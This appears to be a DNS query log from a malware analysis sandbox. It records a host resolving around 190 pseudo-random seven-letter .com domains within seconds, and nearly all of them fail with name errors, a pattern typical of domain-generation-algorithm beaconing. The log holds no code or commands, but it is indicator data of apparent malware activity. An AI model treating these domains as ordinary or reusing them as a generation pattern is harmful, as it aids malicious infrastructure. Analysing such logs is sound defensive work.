Nov 11, 2024 18:51:19.860373974 CET	1.1.1.1	192.168.2.6	0x6930	Name error (3)	vojyrum.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.861128092 CET	1.1.1.1	192.168.2.6	0x2288	Name error (3)	pupyjap.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.891007900 CET	1.1.1.1	192.168.2.6	0x193	Name error (3)	lykyxoj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.958767891 CET	1.1.1.1	192.168.2.6	0xec15	Name error (3)	puvydyp.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.015501022 CET	1.1.1.1	192.168.2.6	0x746e	Name error (3)	lyvyver.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.022157907 CET	1.1.1.1	192.168.2.6	0x62a1	Name error (3)	volypof.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.024502039 CET	1.1.1.1	192.168.2.6	0x3605	Name error (3)	gadykyz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.036796093 CET	1.1.1.1	192.168.2.6	0xbec2	Name error (3)	vocydyc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.038379908 CET	1.1.1.1	192.168.2.6	0x22f3	Name error (3)	purymog.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.063874960 CET	1.1.1.1	192.168.2.6	0x64ca	Name error (3)	gatyqeb.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.237306118 CET	1.1.1.1	192.168.2.6	0xaebb	Name error (3)	pufylul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.239376068 CET	1.1.1.1	192.168.2.6	0x9429	Name error (3)	qetyhov.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.245336056 CET	1.1.1.1	192.168.2.6	0xe030	Name error (3)	lyvyfux.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.248728991 CET	1.1.1.1	192.168.2.6	0x9910	Name error (3)	qebyfup.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.248742104 CET	1.1.1.1	192.168.2.6	0x5e2c	Name error (3)	qegylul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.248758078 CET	1.1.1.1	192.168.2.6	0x75f8	Name error (3)	vopyqef.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.248768091 CET	1.1.1.1	192.168.2.6	0x1d19	Name error (3)	qeqyniq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.248781919 CET	1.1.1.1	192.168.2.6	0x8230	Name error (3)	pujyxoq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.250823021 CET	1.1.1.1	192.168.2.6	0x6702	Name error (3)	gahyziw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.260142088 CET	1.1.1.1	192.168.2.6	0x1f4f	Name error (3)	qetyqag.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.266722918 CET	1.1.1.1	192.168.2.6	0x655b	Name error (3)	vopyjac.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.436234951 CET	1.1.1.1	192.168.2.6	0x30d7	Name error (3)	vonybuk.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.440428972 CET	1.1.1.1	192.168.2.6	0x8117	Name error (3)	ganyvyw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.450438023 CET	1.1.1.1	192.168.2.6	0x640e	Name error (3)	lygylur.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.451107025 CET	1.1.1.1	192.168.2.6	0xafe5	Name error (3)	pumybuq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.451447010 CET	1.1.1.1	192.168.2.6	0x26ee	Name error (3)	galypob.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.451591969 CET	1.1.1.1	192.168.2.6	0x373d	Name error (3)	pupywyv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.453166962 CET	1.1.1.1	192.168.2.6	0x9cc9	Name error (3)	lyxysad.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.472399950 CET	1.1.1.1	192.168.2.6	0xb5cc	Name error (3)	ganyfuz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.854567051 CET	1.1.1.1	192.168.2.6	0xe801	Name error (3)	lyryvex.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.855139971 CET	1.1.1.1	192.168.2.6	0x97cd	Name error (3)	lyryfyd.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.859385014 CET	1.1.1.1	192.168.2.6	0x4ea4	Name error (3)	lygymoj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.860049963 CET	1.1.1.1	192.168.2.6	0x70e9	Name error (3)	gacyzuz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.860333920 CET	1.1.1.1	192.168.2.6	0x9298	Name error (3)	vopybyt.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.860914946 CET	1.1.1.1	192.168.2.6	0x8a94	Name error (3)	lygygin.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.862323046 CET	1.1.1.1	192.168.2.6	0xb107	Name error (3)	pumypog.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.862708092 CET	1.1.1.1	192.168.2.6	0xb6a1	Name error (3)	vowycac.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.864753008 CET	1.1.1.1	192.168.2.6	0x8fd3	Name error (3)	gahyhob.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.868093967 CET	1.1.1.1	192.168.2.6	0xbf0e	Name error (3)	puvytuq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.878220081 CET	1.1.1.1	192.168.2.6	0xdca1	Name error (3)	qeqysag.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.879329920 CET	1.1.1.1	192.168.2.6	0x6177	Name error (3)	vofygum.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.879993916 CET	1.1.1.1	192.168.2.6	0x504a	Name error (3)	gaqydeb.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.881015062 CET	1.1.1.1	192.168.2.6	0x137	Name error (3)	qexyryl.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.882247925 CET	1.1.1.1	192.168.2.6	0xdec7	Name error (3)	pufymoq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.882452965 CET	1.1.1.1	192.168.2.6	0x44de	Name error (3)	lyxylux.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.882899046 CET	1.1.1.1	192.168.2.6	0x71af	Name error (3)	vojyjof.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.883399963 CET	1.1.1.1	192.168.2.6	0xdbf6	Name error (3)	purycap.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.885274887 CET	1.1.1.1	192.168.2.6	0x1247	Name error (3)	lymysan.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.885823965 CET	1.1.1.1	192.168.2.6	0x9ff0	Name error (3)	vocyruk.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.885869980 CET	1.1.1.1	192.168.2.6	0x2a75	Name error (3)	gaqycos.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.887295961 CET	1.1.1.1	192.168.2.6	0xe564	Name error (3)	qebytiq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.888705969 CET	1.1.1.1	192.168.2.6	0xd5f1	Name error (3)	puvyxil.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.894246101 CET	1.1.1.1	192.168.2.6	0xabfc	Name error (3)	pufygug.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.897162914 CET	1.1.1.1	192.168.2.6	0x6d03	Name error (3)	gacyryw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.903222084 CET	1.1.1.1	192.168.2.6	0xe64e	Name error (3)	qexylup.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.904495955 CET	1.1.1.1	192.168.2.6	0x5a47	Name error (3)	vofymik.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.905843973 CET	1.1.1.1	192.168.2.6	0x79c1	Name error (3)	pupybul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.914336920 CET	1.1.1.1	192.168.2.6	0x1eeb	Name error (3)	lysynur.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.918934107 CET	1.1.1.1	192.168.2.6	0xb8b9	Name error (3)	vowydef.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.924521923 CET	1.1.1.1	192.168.2.6	0xf3a	Name error (3)	volykyc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:24.801270962 CET	1.1.1.1	192.168.2.6	0xbf77	Name error (3)	qetyvep.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:24.836304903 CET	1.1.1.1	192.168.2.6	0xd3b2	Name error (3)	lyvytuj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:24.837173939 CET	1.1.1.1	192.168.2.6	0x6b28	Name error (3)	gatyvyz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:24.866353035 CET	1.1.1.1	192.168.2.6	0x95	Name error (3)	pujyjav.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:24.956157923 CET	1.1.1.1	192.168.2.6	0xe027	Name error (3)	lykyjad.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:24.986902952 CET	1.1.1.1	192.168.2.6	0xdc30	Name error (3)	ganypih.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.057168961 CET	1.1.1.1	192.168.2.6	0x964f	Name error (3)	qekykev.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.117933989 CET	1.1.1.1	192.168.2.6	0xe222	Name error (3)	galykes.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.124747038 CET	1.1.1.1	192.168.2.6	0x7ddd	Name error (3)	gadyfuh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.128529072 CET	1.1.1.1	192.168.2.6	0x2ef8	Name error (3)	qegyqaq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.177762032 CET	1.1.1.1	192.168.2.6	0x8bf4	Name error (3)	qedynul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.202039957 CET	1.1.1.1	192.168.2.6	0xedac	Name error (3)	purydyv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.215032101 CET	1.1.1.1	192.168.2.6	0xabc3	Name error (3)	puzywel.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.216368914 CET	1.1.1.1	192.168.2.6	0x74f5	Name error (3)	qeqyxov.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.231013060 CET	1.1.1.1	192.168.2.6	0xfc90	Name error (3)	lyxywer.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.238421917 CET	1.1.1.1	192.168.2.6	0x8031	Name error (3)	volyqat.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.241547108 CET	1.1.1.1	192.168.2.6	0x7d6f	Name error (3)	qedyfyq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.263006926 CET	1.1.1.1	192.168.2.6	0xf8f7	Name error (3)	pumyxiv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.350075006 CET	1.1.1.1	192.168.2.6	0xf8e5	Server failure (2)	lysyfyj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.819375992 CET	1.1.1.1	192.168.2.6	0xfe79	Name error (3)	vopyguk.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.830056906 CET	1.1.1.1	192.168.2.6	0x1b41	Name error (3)	pumycav.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.834352016 CET	1.1.1.1	192.168.2.6	0xf224	Name error (3)	ganycob.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.834837914 CET	1.1.1.1	192.168.2.6	0x79e3	Name error (3)	lysygij.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.838169098 CET	1.1.1.1	192.168.2.6	0xc282	Name error (3)	vonycaf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.839184046 CET	1.1.1.1	192.168.2.6	0x5ecc	Name error (3)	qekyryp.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.854821920 CET	1.1.1.1	192.168.2.6	0x5113	Name error (3)	qedyhiq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.872214079 CET	1.1.1.1	192.168.2.6	0x2031	Name error (3)	volyrut.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.873802900 CET	1.1.1.1	192.168.2.6	0xdb10	Name error (3)	galyryz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.878077030 CET	1.1.1.1	192.168.2.6	0xf849	Name error (3)	qegyryq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.878946066 CET	1.1.1.1	192.168.2.6	0x3183	Name error (3)	gacycaz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.879331112 CET	1.1.1.1	192.168.2.6	0xa892	Name error (3)	purygiv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.879690886 CET	1.1.1.1	192.168.2.6	0x6662	Name error (3)	vocycat.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.884721041 CET	1.1.1.1	192.168.2.6	0x95d2	Name error (3)	puvycel.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.888292074 CET	1.1.1.1	192.168.2.6	0xe23e	Name error (3)	pupymol.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.900455952 CET	1.1.1.1	192.168.2.6	0x163a	Name error (3)	gahyruh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.902636051 CET	1.1.1.1	192.168.2.6	0x3a07	Name error (3)	lyvysaj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.904681921 CET	1.1.1.1	192.168.2.6	0xb8df	Name error (3)	lygyjan.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.926789999 CET	1.1.1.1	192.168.2.6	0x5900	Name error (3)	gahykeb.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.938323975 CET	1.1.1.1	192.168.2.6	0x6afa	Name error (3)	qegykeg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.940165997 CET	1.1.1.1	192.168.2.6	0xabf9	Name error (3)	puzytul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.947307110 CET	1.1.1.1	192.168.2.6	0x3c65	Name error (3)	lygywyj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.947918892 CET	1.1.1.1	192.168.2.6	0x724a	Name error (3)	lymyfyn.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.947957039 CET	1.1.1.1	192.168.2.6	0x3928	Name error (3)	lyxytur.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.948354959 CET	1.1.1.1	192.168.2.6	0xafbf	Name error (3)	qetynup.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.948988914 CET	1.1.1.1	192.168.2.6	0x2de3	Name error (3)	pufyjag.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.958334923 CET	1.1.1.1	192.168.2.6	0xbcce	Name error (3)	gaqyfub.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.959934950 CET	1.1.1.1	192.168.2.6	0x342d	Name error (3)	vowyguf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.961020947 CET	1.1.1.1	192.168.2.6	0x4379	Name error (3)	pufyweq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.961708069 CET	1.1.1.1	192.168.2.6	0xdc23	Name error (3)	vofyqek.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.962397099 CET	1.1.1.1	192.168.2.6	0xa16d	Name error (3)	qebysaq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.962409973 CET	1.1.1.1	192.168.2.6	0x63c1	Name error (3)	purybup.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.966861963 CET	1.1.1.1	192.168.2.6	0xb85e	Name error (3)	puvypoq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.970211983 CET	1.1.1.1	192.168.2.6	0xcd34	Name error (3)	volyzic.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.970364094 CET	1.1.1.1	192.168.2.6	0x53d0	Name error (3)	gaqyvys.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.970799923 CET	1.1.1.1	192.168.2.6	0x3804	Name error (3)	lyrygid.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.970875978 CET	1.1.1.1	192.168.2.6	0xe64b	Name error (3)	pujylyv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.971237898 CET	1.1.1.1	192.168.2.6	0x8f45	Name error (3)	qeqyvev.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.971261024 CET	1.1.1.1	192.168.2.6	0x2fe1	Name error (3)	qedyqal.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.972266912 CET	1.1.1.1	192.168.2.6	0x9f4c	Name error (3)	vonydem.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.972279072 CET	1.1.1.1	192.168.2.6	0xf95f	Name error (3)	qekyluv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.972610950 CET	1.1.1.1	192.168.2.6	0x2c37	Name error (3)	ganydeh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.972778082 CET	1.1.1.1	192.168.2.6	0xc9b2	Name error (3)	vopymit.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.973726988 CET	1.1.1.1	192.168.2.6	0x2441	Name error (3)	vocypok.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.973746061 CET	1.1.1.1	192.168.2.6	0xe93	Name error (3)	pumydyg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.973979950 CET	1.1.1.1	192.168.2.6	0x9fa8	Name error (3)	gatyniz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.974737883 CET	1.1.1.1	192.168.2.6	0x276	Name error (3)	lyrynux.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.978570938 CET	1.1.1.1	192.168.2.6	0xb6b5	Name error (3)	vojykyf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.983541965 CET	1.1.1.1	192.168.2.6	0xfe27	Name error (3)	qexyxop.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.984132051 CET	1.1.1.1	192.168.2.6	0x84d8	Name error (3)	lyxyxox.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.984150887 CET	1.1.1.1	192.168.2.6	0xa612	Name error (3)	qeqyfug.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.993609905 CET	1.1.1.1	192.168.2.6	0xb1f1	Name error (3)	puzyxip.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.994235039 CET	1.1.1.1	192.168.2.6	0xaa74	Name error (3)	lykylud.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.995138884 CET	1.1.1.1	192.168.2.6	0xce12	Name error (3)	gadyhoh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.995920897 CET	1.1.1.1	192.168.2.6	0x24ad	Name error (3)	pupyguq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.996226072 CET	1.1.1.1	192.168.2.6	0x6f48	Name error (3)	qexytil.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.996323109 CET	1.1.1.1	192.168.2.6	0x4280	Name error (3)	lymyved.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.996670008 CET	1.1.1.1	192.168.2.6	0x21a8	Name error (3)	gadyqaw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.996689081 CET	1.1.1.1	192.168.2.6	0xda0a	Name error (3)	gacypiw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.997494936 CET	1.1.1.1	192.168.2.6	0x41d7	Name error (3)	lykywex.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.997544050 CET	1.1.1.1	192.168.2.6	0x6e4c	Name error (3)	vowybyc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:26.002604008 CET	1.1.1.1	192.168.2.6	0x51c	Name error (3)	lysymor.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:26.026984930 CET	1.1.1.1	192.168.2.6	0x6dfe	Name error (3)	vofyjom.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:27.818382978 CET	1.1.1.1	192.168.2.6	0xa81d	Name error (3)	gaqycos.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:27.819468021 CET	1.1.1.1	192.168.2.6	0x93c1	Name error (3)	qexyryl.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:27.819638968 CET	1.1.1.1	192.168.2.6	0xc962	Name error (3)	pumypog.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:27.933357000 CET	1.1.1.1	192.168.2.6	0xf038	Name error (3)	galyzus.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:28.425570011 CET	1.1.1.1	192.168.2.6	0x6948	Name error (3)	lyxylux.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:28.582458973 CET	1.1.1.1	192.168.2.6	0x4271	Name error (3)	pupybul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:28.658653021 CET	1.1.1.1	192.168.2.6	0x24	Name error (3)	qeqysag.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:28.813505888 CET	1.1.1.1	192.168.2.6	0xdc23	Name error (3)	lymysan.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:28.922415018 CET	1.1.1.1	192.168.2.6	0x39c8	Name error (3)	qexylup.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:29.003438950 CET	1.1.1.1	192.168.2.6	0x78ec	Name error (3)	vofymik.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:29.007328033 CET	1.1.1.1	192.168.2.6	0xdf42	Name error (3)	pufymoq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:29.096096992 CET	1.1.1.1	192.168.2.6	0x848e	Name error (3)	vowydef.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:29.276331902 CET	1.1.1.1	192.168.2.6	0x549b	Name error (3)	gacyzuz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:29.377207041 CET	1.1.1.1	192.168.2.6	0x20df	Name error (3)	vonyzuf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:29.712605000 CET	1.1.1.1	192.168.2.6	0x9313	Name error (3)	qegyqaq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:30.416786909 CET	1.1.1.1	192.168.2.6	0x70f4	Name error (3)	lygymoj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:30.446840048 CET	1.1.1.1	192.168.2.6	0x523f	Name error (3)	qekyqop.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:30.614336967 CET	1.1.1.1	192.168.2.6	0xb6ef	Name error (3)	purycap.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:30.642349005 CET	1.1.1.1	192.168.2.6	0xe201	Name error (3)	lyryfyd.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:30.898812056 CET	1.1.1.1	192.168.2.6	0xaec8	Name error (3)	lygygin.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:30.913042068 CET	1.1.1.1	192.168.2.6	0xbb89	Server failure (2)	lysyfyj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:31.077737093 CET	1.1.1.1	192.168.2.6	0xfff5	Name error (3)	vowycac.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:31.134929895 CET	1.1.1.1	192.168.2.6	0x6e26	Name error (3)	pufygug.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:31.412698030 CET	1.1.1.1	192.168.2.6	0xe9aa	Name error (3)	vofygum.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:31.470805883 CET	1.1.1.1	192.168.2.6	0xa5d2	Name error (3)	puzywel.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:31.505733013 CET	1.1.1.1	192.168.2.6	0x3d79	Name error (3)	volyqat.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:31.617762089 CET	1.1.1.1	192.168.2.6	0xb006	Name error (3)	lyxywer.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:31.731801033 CET	1.1.1.1	192.168.2.6	0x90f7	Name error (3)	purydyv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:31.757592916 CET	1.1.1.1	192.168.2.6	0xa336	Name error (3)	qedyfyq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:31.782902956 CET	1.1.1.1	192.168.2.6	0x51c2	Name error (3)	pumyxiv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:31.937907934 CET	1.1.1.1	192.168.2.6	0xffdd	Name error (3)	gadyfuh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:32.426851988 CET	1.1.1.1	192.168.2.6	0xbe6a	Name error (3)	qeqyxov.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:32.426863909 CET	1.1.1.1	192.168.2.6	0x5af0	Name error (3)	qebytiq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:32.427345037 CET	1.1.1.1	192.168.2.6	0xd8a5	Name error (3)	lyryvex.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:32.427375078 CET	1.1.1.1	192.168.2.6	0x8fde	Name error (3)	lysynur.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:32.446662903 CET	1.1.1.1	192.168.2.6	0x3dd8	Name error (3)	ganypih.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:32.446814060 CET	1.1.1.1	192.168.2.6	0x8181	Name error (3)	galykes.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:32.593122959 CET	1.1.1.1	192.168.2.6	0xa102	Name error (3)	pujyjav.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:32.613406897 CET	1.1.1.1	192.168.2.6	0x8a93	Name error (3)	vopybyt.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:32.860903025 CET	1.1.1.1	192.168.2.6	0xa31f	Name error (3)	gatyvyz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:32.951323986 CET	1.1.1.1	192.168.2.6	0x2226	Name error (3)	gacypiw.com	none	none	A (IP address)	IN (0x0001)	false
